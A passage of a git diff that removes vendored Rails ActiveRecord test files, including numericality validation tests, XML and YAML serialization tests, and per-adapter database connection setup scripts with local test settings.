-  BIGDECIMAL_STRINGS = %w(12345678901234567890.1234567890) # 30 significent digits
-  FLOAT_STRINGS = %w(0.0 +0.0 -0.0 10.0 10.5 -10.5 -0.0001 -090.1 90.1e1 -90.1e5 -90.1e-5 90e-5)
-  INTEGER_STRINGS = %w(0 +0 -0 10 +10 -10 0090 -090)
-  FLOATS = [0.0, 10.0, 10.5, -10.5, -0.0001] + FLOAT_STRINGS
-  INTEGERS = [0, 10, -10] + INTEGER_STRINGS
-  BIGDECIMAL = BIGDECIMAL_STRINGS.collect! { |bd| BigDecimal.new(bd) }
-  JUNK = ["not a number", "42 not a number", "0xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
-  INFINITY = [1.0/0.0]
-
-  repair_validations(Topic)
-
-  def test_default_validates_numericality_of
-    Topic.validates_numericality_of :approved
-
-    invalid!(NIL + BLANK + JUNK)
-    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
-  end
-
-  def test_validates_numericality_of_with_nil_allowed
-    Topic.validates_numericality_of :approved, :allow_nil => true
-
-    invalid!(JUNK)
-    valid!(NIL + BLANK + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
-  end
-
-  def test_validates_numericality_of_with_integer_only
-    Topic.validates_numericality_of :approved, :only_integer => true
-
-    invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
-    valid!(INTEGERS)
-  end
-
-  def test_validates_numericality_of_with_integer_only_and_nil_allowed
-    Topic.validates_numericality_of :approved, :only_integer => true, :allow_nil => true
-
-    invalid!(JUNK + FLOATS + BIGDECIMAL + INFINITY)
-    valid!(NIL + BLANK + INTEGERS)
-  end
-
-  def test_validates_numericality_with_greater_than
-    Topic.validates_numericality_of :approved, :greater_than => 10
-
-    invalid!([-10, 10], 'must be greater than 10')
-    valid!([11])
-  end
-
-  def test_validates_numericality_with_greater_than_or_equal
-    Topic.validates_numericality_of :approved, :greater_than_or_equal_to => 10
-
-    invalid!([-9, 9], 'must be greater than or equal to 10')
-    valid!([10])
-  end
-
-  def test_validates_numericality_with_equal_to
-    Topic.validates_numericality_of :approved, :equal_to => 10
-
-    invalid!([-10, 11] + INFINITY, 'must be equal to 10')
-    valid!([10])
-  end
-
-  def test_validates_numericality_with_less_than
-    Topic.validates_numericality_of :approved, :less_than => 10
-
-    invalid!([10], 'must be less than 10')
-    valid!([-9, 9])
-  end
-
-  def test_validates_numericality_with_less_than_or_equal_to
-    Topic.validates_numericality_of :approved, :less_than_or_equal_to => 10
-
-    invalid!([11], 'must be less than or equal to 10')
-    valid!([-10, 10])
-  end
-
-  def test_validates_numericality_with_odd
-    Topic.validates_numericality_of :approved, :odd => true
-
-    invalid!([-2, 2], 'must be odd')
-    valid!([-1, 1])
-  end
-
-  def test_validates_numericality_with_even
-    Topic.validates_numericality_of :approved, :even => true
-
-    invalid!([-1, 1], 'must be even')
-    valid!([-2, 2])
-  end
-
-  def test_validates_numericality_with_greater_than_less_than_and_even
-    Topic.validates_numericality_of :approved, :greater_than => 1, :less_than => 4, :even => true
-
-    invalid!([1, 3, 4])
-    valid!([2])
-  end
-
-  def test_validates_numericality_with_numeric_message
-    Topic.validates_numericality_of :approved, :less_than => 4, :message => "smaller than %{count}"
-    topic = Topic.new("title" => "numeric test", "approved" => 10)
-
-    assert !topic.valid?
-    assert_equal "smaller than 4", topic.errors.on(:approved)
-
-    Topic.validates_numericality_of :approved, :greater_than => 4, :message => "greater than %{count}"
-    topic = Topic.new("title" => "numeric test", "approved" => 1)
-
-    assert !topic.valid?
-    assert_equal "greater than 4", topic.errors.on(:approved)
-  end
-
-  private
-    def invalid!(values, error=nil)
-      with_each_topic_approved_value(values) do |topic, value|
-        assert !topic.valid?, "#{value.inspect} not rejected as a number"
-        assert topic.errors.on(:approved)
-        assert_equal error, topic.errors.on(:approved) if error
-      end
-    end
-
-    def valid!(values)
-      with_each_topic_approved_value(values) do |topic, value|
-        assert topic.valid?, "#{value.inspect} not accepted as a number"
-      end
-    end
-
-    def with_each_topic_approved_value(values)
-      topic = Topic.new("title" => "numeric test", "content" => "whatever")
-      values.each do |value|
-        topic.approved = value
-        yield topic, value
-      end
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/xml_serialization_test.rb b/vendor/rails/activerecord/test/cases/xml_serialization_test.rb
deleted file mode 100644
index d8d952be..00000000
--- a/vendor/rails/activerecord/test/cases/xml_serialization_test.rb
+++ /dev/null
@@ -1,240 +0,0 @@
-require "cases/helper"
-require 'models/contact'
-require 'models/post'
-require 'models/author'
-require 'models/tagging'
-require 'models/comment'
-require 'models/company_in_module'
-
-class XmlSerializationTest < ActiveRecord::TestCase
-  def test_should_serialize_default_root
-    @xml = Contact.new.to_xml
-    assert_match %r{^<contact>},  @xml
-    assert_match %r{</contact>$}, @xml
-  end
-
-  def test_should_serialize_default_root_with_namespace
-    @xml = Contact.new.to_xml :namespace=>"http://xml.rubyonrails.org/contact"
-    assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">},  @xml
-    assert_match %r{</contact>$}, @xml
-  end
-
-  def test_should_serialize_custom_root
-    @xml = Contact.new.to_xml :root => 'xml_contact'
-    assert_match %r{^<xml-contact>},  @xml
-    assert_match %r{</xml-contact>$}, @xml
-  end
-
-  def test_should_allow_undasherized_tags
-    @xml = Contact.new.to_xml :root => 'xml_contact', :dasherize => false
-    assert_match %r{^<xml_contact>},  @xml
-    assert_match %r{</xml_contact>$}, @xml
-    assert_match %r{<created_at},     @xml
-  end
-
-  def test_should_allow_camelized_tags
-    @xml = Contact.new.to_xml :root => 'xml_contact', :camelize => true
-    assert_match %r{^<XmlContact>},  @xml
-    assert_match %r{</XmlContact>$}, @xml
-    assert_match %r{<CreatedAt},    @xml
-  end
-
-  def test_should_allow_skipped_types
-    @xml = Contact.new(:age => 25).to_xml :skip_types => true
-    assert %r{<age>25</age>}.match(@xml)
-  end
-
-  def test_should_include_yielded_additions
-    @xml = Contact.new.to_xml do |xml|
-      xml.creator "David"
-    end
-    assert_match %r{<creator>David</creator>}, @xml
-  end
-end
-
-class DefaultXmlSerializationTest < ActiveRecord::TestCase
-  def setup
-    @xml = Contact.new(:name => 'aaron stack', :age => 25, :avatar => 'binarydata', :created_at => Time.utc(2006, 8, 1), :awesome => false, :preferences => { :gem => 'ruby' }).to_xml
-  end
-
-  def test_should_serialize_string
-    assert_match %r{<name>aaron stack</name>},     @xml
-  end
-
-  def test_should_serialize_integer
-    assert_match %r{<age type="integer">25</age>}, @xml
-  end
-
-  def test_should_serialize_binary
-    assert_match %r{YmluYXJ5ZGF0YQ==\n</avatar>},    @xml
-    assert_match %r{<avatar(.*)(type="binary")},     @xml
-    assert_match %r{<avatar(.*)(encoding="base64")}, @xml
-  end
-
-  def test_should_serialize_datetime
-    assert_match %r{<created-at type=\"datetime\">2006-08-01T00:00:00Z</created-at>}, @xml
-  end
-
-  def test_should_serialize_boolean
-    assert_match %r{<awesome type=\"boolean\">false</awesome>}, @xml
-  end
-
-  def test_should_serialize_yaml
-    assert_match %r{<preferences type=\"yaml\">--- \n:gem: ruby\n</preferences>}, @xml
-  end
-end
-
-class NilXmlSerializationTest < ActiveRecord::TestCase
-  def setup
-    @xml = Contact.new.to_xml(:root => 'xml_contact')
-  end
-
-  def test_should_serialize_string
-    assert_match %r{<name nil="true"></name>},     @xml
-  end
-
-  def test_should_serialize_integer
-    assert %r{<age (.*)></age>}.match(@xml)
-    attributes = $1
-    assert_match %r{nil="true"}, attributes
-    assert_match %r{type="integer"}, attributes
-  end
-
-  def test_should_serialize_binary
-    assert %r{<avatar (.*)></avatar>}.match(@xml)
-    attributes = $1
-    assert_match %r{type="binary"}, attributes
-    assert_match %r{encoding="base64"}, attributes
-    assert_match %r{nil="true"}, attributes
-  end
-
-  def test_should_serialize_datetime
-    assert %r{<created-at (.*)></created-at>}.match(@xml)
-    attributes = $1
-    assert_match %r{nil="true"}, attributes
-    assert_match %r{type="datetime"}, attributes
-  end
-
-  def test_should_serialize_boolean
-    assert %r{<awesome (.*)></awesome>}.match(@xml)
-    attributes = $1
-    assert_match %r{type="boolean"}, attributes
-    assert_match %r{nil="true"}, attributes
-  end
-
-  def test_should_serialize_yaml
-    assert %r{<preferences(.*)></preferences>}.match(@xml)
-    attributes = $1
-    assert_match %r{type="yaml"}, attributes
-    assert_match %r{nil="true"}, attributes
-  end
-end
-
-class DatabaseConnectedXmlModuleSerializationTest < ActiveRecord::TestCase
-
-  fixtures :projects, :developers, :developers_projects
-
-  def test_module
-    project = MyApplication::Business::Project.find :first
-    xml = project.to_xml
-    assert_match %r{<my-application-business-project>}, xml
-    assert_match %r{</my-application-business-project>}, xml
-  end
-
-  def test_module_with_include
-    project = MyApplication::Business::Project.find :first
-    xml = project.to_xml :include => :developers
-    assert_match %r{<developer type="MyApplication::Business::Developer">}, xml
-    assert_match %r{</developer>}, xml
-  end
-end
-
-class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
-  fixtures :authors, :posts
-  # to_xml used to mess with the hash the user provided which
-  # caused the builder to be reused.  This meant the document kept
-  # getting appended to.
-  def test_passing_hash_shouldnt_reuse_builder
-    options = {:include=>:posts}
-    david = authors(:david)
-    first_xml_size = david.to_xml(options).size
-    second_xml_size = david.to_xml(options).size
-    assert_equal first_xml_size, second_xml_size
-  end
-
-  def test_include_uses_association_name
-    xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0
-    assert_match %r{<hello-posts type="array">}, xml
-    assert_match %r{<hello-post type="Post">}, xml
-    assert_match %r{<hello-post type="StiPost">}, xml
-  end
-
-  def test_included_associations_should_skip_types
-    xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0, :skip_types => true
-    assert_match %r{<hello-posts>}, xml
-    assert_match %r{<hello-post>}, xml
-    assert_match %r{<hello-post>}, xml
-  end
-
-  def test_methods_are_called_on_object
-    xml = authors(:david).to_xml :methods => :label, :indent => 0
-    assert_match %r{<label>.*</label>}, xml
-  end
-
-  def test_should_not_call_methods_on_associations_that_dont_respond
-    xml = authors(:david).to_xml :include=>:hello_posts, :methods => :label, :indent => 2
-    assert !authors(:david).hello_posts.first.respond_to?(:label)
-    assert_match %r{^  <label>.*</label>}, xml
-    assert_no_match %r{^      <label>}, xml
-  end
-
-  def test_procs_are_called_on_object
-    proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') }
-    xml = authors(:david).to_xml(:procs => [ proc ])
-    assert_match %r{<nationality>Danish</nationality>}, xml
-  end
-
-  def test_top_level_procs_arent_applied_to_associations
-    author_proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') }
-    xml = authors(:david).to_xml(:procs => [ author_proc ], :include => :posts, :indent => 2)
-
-    assert_match %r{^  <nationality>Danish</nationality>}, xml
-    assert_no_match %r{^ {6}<nationality>Danish</nationality>}, xml
-  end
-
-  def test_procs_on_included_associations_are_called
-    posts_proc = Proc.new { |options| options[:builder].tag!('copyright', 'DHH') }
-    xml = authors(:david).to_xml(
-      :indent => 2,
-      :include => {
-        :posts => { :procs => [ posts_proc ] }
-      }
-    )
-
-    assert_no_match %r{^  <copyright>DHH</copyright>}, xml
-    assert_match %r{^ {6}<copyright>DHH</copyright>}, xml
-  end
-
-  def test_should_include_empty_has_many_as_empty_array
-    authors(:david).posts.delete_all
-    xml = authors(:david).to_xml :include=>:posts, :indent => 2
-
-    assert_equal [], Hash.from_xml(xml)['author']['posts']
-    assert_match %r{^  <posts type="array"/>}, xml
-  end
-
-  def test_should_has_many_array_elements_should_include_type_when_different_from_guessed_value
-    xml = authors(:david).to_xml :include=>:posts_with_comments, :indent => 2
-
-    assert Hash.from_xml(xml)
-    assert_match %r{^  <posts-with-comments type="array">}, xml
-    assert_match %r{^    <posts-with-comment type="Post">}, xml
-    assert_match %r{^    <posts-with-comment type="StiPost">}, xml
-
-    types = Hash.from_xml(xml)['author']['posts_with_comments'].collect {|t| t['type'] }
-    assert types.include?('SpecialPost')
-    assert types.include?('Post')
-    assert types.include?('StiPost')
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/yaml_serialization_test.rb b/vendor/rails/activerecord/test/cases/yaml_serialization_test.rb
deleted file mode 100644
index f221def6..00000000
--- a/vendor/rails/activerecord/test/cases/yaml_serialization_test.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-
-class YamlSerializationTest < ActiveRecord::TestCase
-  def test_to_yaml_with_time_with_zone_should_not_raise_exception
-    Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    topic = Topic.new(:written_on => DateTime.now)
-    assert_nothing_raised { topic.to_yaml }
-  end
-end
diff --git a/vendor/rails/activerecord/test/config.rb b/vendor/rails/activerecord/test/config.rb
deleted file mode 100644
index 6e2e8b21..00000000
--- a/vendor/rails/activerecord/test/config.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-TEST_ROOT       = File.expand_path(File.dirname(__FILE__))
-ASSETS_ROOT     = TEST_ROOT + "/assets"
-FIXTURES_ROOT   = TEST_ROOT + "/fixtures"
-MIGRATIONS_ROOT = TEST_ROOT + "/migrations"
-SCHEMA_ROOT     = TEST_ROOT + "/schema"
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb
deleted file mode 100644
index 222ef5db..00000000
--- a/vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-print "Using Derby via JRuby, activerecord-jdbc-adapter and activerecord-jdbcderby-adapter\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'jdbcderby',
-    :database => 'activerecord_unittest'
-  },
-  'arunit2' => {
-    :adapter  => 'jdbcderby',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb
deleted file mode 100644
index 9d2875e8..00000000
--- a/vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-print "Using H2 via JRuby, activerecord-jdbc-adapter and activerecord-jdbch2-adapter\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'jdbch2',
-    :database => 'activerecord_unittest'
-  },
-  'arunit2' => {
-    :adapter  => 'jdbch2',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb
deleted file mode 100644
index fa943c2c..00000000
--- a/vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-print "Using HSQLDB via JRuby, activerecord-jdbc-adapter and activerecord-jdbchsqldb-adapter\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'jdbchsqldb',
-    :database => 'activerecord_unittest'
-  },
-  'arunit2' => {
-    :adapter  => 'jdbchsqldb',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb
deleted file mode 100644
index e2517a50..00000000
--- a/vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-print "Using MySQL via JRuby, activerecord-jdbc-adapter and activerecord-jdbcmysql-adapter\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost';
-# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost';
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'jdbcmysql',
-    :username => 'rails',
-    :encoding => 'utf8',
-    :database => 'activerecord_unittest',
-  },
-  'arunit2' => {
-    :adapter  => 'jdbcmysql',
-    :username => 'rails',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
-
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb
deleted file mode 100644
index 0685da44..00000000
--- a/vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-print "Using Postgrsql via JRuby, activerecord-jdbc-adapter and activerecord-postgresql-adapter\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-# createuser rails --createdb --no-superuser --no-createrole
-# createdb -O rails activerecord_unittest
-# createdb -O rails activerecord_unittest2
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'jdbcpostgresql',
-    :username => ENV['USER'] || 'rails',
-    :database => 'activerecord_unittest'
-  },
-  'arunit2' => {
-    :adapter  => 'jdbcpostgresql',
-    :username => ENV['USER'] || 'rails',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
-
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb
deleted file mode 100644
index 26d4676f..00000000
--- a/vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-print "Using SQLite3 via JRuby, activerecord-jdbc-adapter and activerecord-jdbcsqlite3-adapter\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-class SqliteError < StandardError
-end
-
-BASE_DIR = FIXTURES_ROOT
-sqlite_test_db  = "#{BASE_DIR}/fixture_database.sqlite3"
-sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite3"
-
-def make_connection(clazz, db_file)
-  ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'jdbcsqlite3', :database => db_file, :timeout => 5000 } }
-  unless File.exist?(db_file)
-    puts "SQLite3 database not found at #{db_file}. Rebuilding it."
-    sqlite_command = %Q{sqlite3 "#{db_file}" "create table a (a integer); drop table a;"}
-    puts "Executing '#{sqlite_command}'"
-    raise SqliteError.new("Seems that there is no sqlite3 executable available") unless system(sqlite_command)
-  end
-  clazz.establish_connection(clazz.name)
-end
-
-make_connection(ActiveRecord::Base, sqlite_test_db)
-make_connection(Course, sqlite_test_db2)
diff --git a/vendor/rails/activerecord/test/connections/native_db2/connection.rb b/vendor/rails/activerecord/test/connections/native_db2/connection.rb
deleted file mode 100644
index 324315d2..00000000
--- a/vendor/rails/activerecord/test/connections/native_db2/connection.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-print "Using native DB2\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter => 'db2',
-    :host => 'localhost',
-    :username => 'arunit',
-    :password => 'arunit',
-    :database => 'arunit'
-  },
-  'arunit2' => {
-    :adapter => 'db2',
-    :host => 'localhost',
-    :username => 'arunit',
-    :password => 'arunit',
-    :database => 'arunit2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_firebird/connection.rb b/vendor/rails/activerecord/test/connections/native_firebird/connection.rb
deleted file mode 100644
index 67a936ca..00000000
--- a/vendor/rails/activerecord/test/connections/native_firebird/connection.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-print "Using native Firebird\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter => 'firebird',
-    :host => 'localhost',
-    :username => 'rails',
-    :password => 'rails',
-    :database => 'activerecord_unittest',
-    :charset => 'UTF8'
-  },
-  'arunit2' => {
-    :adapter => 'firebird',
-    :host => 'localhost',
-    :username => 'rails',
-    :password => 'rails',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_frontbase/connection.rb b/vendor/rails/activerecord/test/connections/native_frontbase/connection.rb
deleted file mode 100644
index c01d864a..00000000
--- a/vendor/rails/activerecord/test/connections/native_frontbase/connection.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-puts 'Using native Frontbase'
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter => 'frontbase',
-    :host => 'localhost',
-    :username => 'rails',
-    :password => '',
-    :database => 'activerecord_unittest',
-    :session_name => "unittest-#{$$}"
-  },
-  'arunit2' => {
-    :adapter => 'frontbase',
-    :host => 'localhost',
-    :username => 'rails',
-    :password => '',
-    :database => 'activerecord_unittest2',
-    :session_name => "unittest-#{$$}"
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_mysql/connection.rb b/vendor/rails/activerecord/test/connections/native_mysql/connection.rb
deleted file mode 100644
index 140e06d6..00000000
--- a/vendor/rails/activerecord/test/connections/native_mysql/connection.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-print "Using native MySQL\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost';
-# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost';
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'mysql',
-    :username => 'rails',
-    :encoding => 'utf8',
-    :database => 'activerecord_unittest',
-  },
-  'arunit2' => {
-    :adapter  => 'mysql',
-    :username => 'rails',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_openbase/connection.rb b/vendor/rails/activerecord/test/connections/native_openbase/connection.rb
deleted file mode 100644
index 655cb9ca..00000000
--- a/vendor/rails/activerecord/test/connections/native_openbase/connection.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-print "Using native OpenBase\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'openbase',
-    :username => 'admin',
-    :database => 'activerecord_unittest',
-  },
-  'arunit2' => {
-    :adapter  => 'openbase',
-    :username => 'admin',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_oracle/connection.rb b/vendor/rails/activerecord/test/connections/native_oracle/connection.rb
deleted file mode 100644
index 0954b27f..00000000
--- a/vendor/rails/activerecord/test/connections/native_oracle/connection.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-print "Using Oracle\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new STDOUT
-ActiveRecord::Base.logger.level = Logger::WARN
-
-# Set these to your database connection strings
-db = ENV['ARUNIT_DB'] || 'activerecord_unittest'
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'oracle',
-    :username => 'arunit',
-    :password => 'arunit',
-    :database => db,
-  },
-  'arunit2' => {
-    :adapter  => 'oracle',
-    :username => 'arunit2',
-    :password => 'arunit2',
-    :database => db
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_postgresql/connection.rb b/vendor/rails/activerecord/test/connections/native_postgresql/connection.rb
deleted file mode 100644
index 3b5ff900..00000000
--- a/vendor/rails/activerecord/test/connections/native_postgresql/connection.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-print "Using native PostgreSQL\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'postgresql',
-    :database => 'activerecord_unittest',
-    :min_messages => 'warning'
-  },
-  'arunit2' => {
-    :adapter  => 'postgresql',
-    :database => 'activerecord_unittest2',
-    :min_messages => 'warning'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/native_sqlite/connection.rb b/vendor/rails/activerecord/test/connections/native_sqlite/connection.rb
deleted file mode 100644
index fea985d8..00000000
--- a/vendor/rails/activerecord/test/connections/native_sqlite/connection.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-print "Using native SQlite\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-class SqliteError < StandardError
-end
-
-BASE_DIR = FIXTURES_ROOT
-sqlite_test_db  = "#{BASE_DIR}/fixture_database.sqlite"
-sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite"
-
-def make_connection(clazz, db_file)
-  ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'sqlite', :database => db_file } }
-  unless File.exist?(db_file)
-    puts "SQLite database not found at #{db_file}. Rebuilding it."
-    sqlite_command = %Q{sqlite "#{db_file}" "create table a (a integer); drop table a;"}
-    puts "Executing '#{sqlite_command}'"
-    raise SqliteError.new("Seems that there is no sqlite executable available") unless system(sqlite_command)
-  end
-  clazz.establish_connection(clazz.name)
-end
-
-make_connection(ActiveRecord::Base, sqlite_test_db)
-make_connection(Course, sqlite_test_db2)
diff --git a/vendor/rails/activerecord/test/connections/native_sqlite3/connection.rb b/vendor/rails/activerecord/test/connections/native_sqlite3/connection.rb
deleted file mode 100644
index c517c237..00000000
--- a/vendor/rails/activerecord/test/connections/native_sqlite3/connection.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-print "Using native SQLite3\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-class SqliteError < StandardError
-end
-
-BASE_DIR = FIXTURES_ROOT
-sqlite_test_db  = "#{BASE_DIR}/fixture_database.sqlite3"
-sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite3"
-
-def make_connection(clazz, db_file)
-  ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'sqlite3', :database => db_file, :timeout => 5000 } }
-  unless File.exist?(db_file)
-    puts "SQLite3 database not found at #{db_file}. Rebuilding it."
-    sqlite_command = %Q{sqlite3 "#{db_file}" "create table a (a integer); drop table a;"}
-    puts "Executing '#{sqlite_command}'"
-    raise SqliteError.new("Seems that there is no sqlite3 executable available") unless system(sqlite_command)
-  end
-  clazz.establish_connection(clazz.name)
-end
-
-make_connection(ActiveRecord::Base, sqlite_test_db)
-make_connection(Course, sqlite_test_db2)
diff --git a/vendor/rails/activerecord/test/connections/native_sqlite3/in_memory_connection.rb b/vendor/rails/activerecord/test/connections/native_sqlite3/in_memory_connection.rb
deleted file mode 100644
index 6aba9719..00000000
--- a/vendor/rails/activerecord/test/connections/native_sqlite3/in_memory_connection.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-print "Using native SQLite3\n"
-require_dependency 'models/course'
-require 'logger'
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-class SqliteError < StandardError
-end
-
-def make_connection(clazz, db_definitions_file)
-  clazz.establish_connection(:adapter => 'sqlite3', :database  => ':memory:')
-  File.read(SCHEMA_ROOT + "/#{db_definitions_file}").split(';').each do |command|
-    clazz.connection.execute(command) unless command.strip.empty?
-  end
-end
-
-make_connection(ActiveRecord::Base, 'sqlite.sql')
-make_connection(Course, 'sqlite2.sql')
-load(SCHEMA_ROOT + "/schema.rb")
diff --git a/vendor/rails/activerecord/test/connections/native_sybase/connection.rb b/vendor/rails/activerecord/test/connections/native_sybase/connection.rb
deleted file mode 100644
index 3282d269..00000000
--- a/vendor/rails/activerecord/test/connections/native_sybase/connection.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-print "Using native Sybase Open Client\n"
-require_dependency 'models/course'
-require 'logger'
-
-ActiveRecord::Base.logger = Logger.new("debug.log")
-
-ActiveRecord::Base.configurations = {
-  'arunit' => {
-    :adapter  => 'sybase',
-    :host     => 'database_ASE',
-    :username => 'sa',
-    :database => 'activerecord_unittest'
-  },
-  'arunit2' => {
-    :adapter  => 'sybase',
-    :host     => 'database_ASE',
-    :username => 'sa',
-    :database => 'activerecord_unittest2'
-  }
-}
-
-ActiveRecord::Base.establish_connection 'arunit'
-Course.establish_connection 'arunit2'
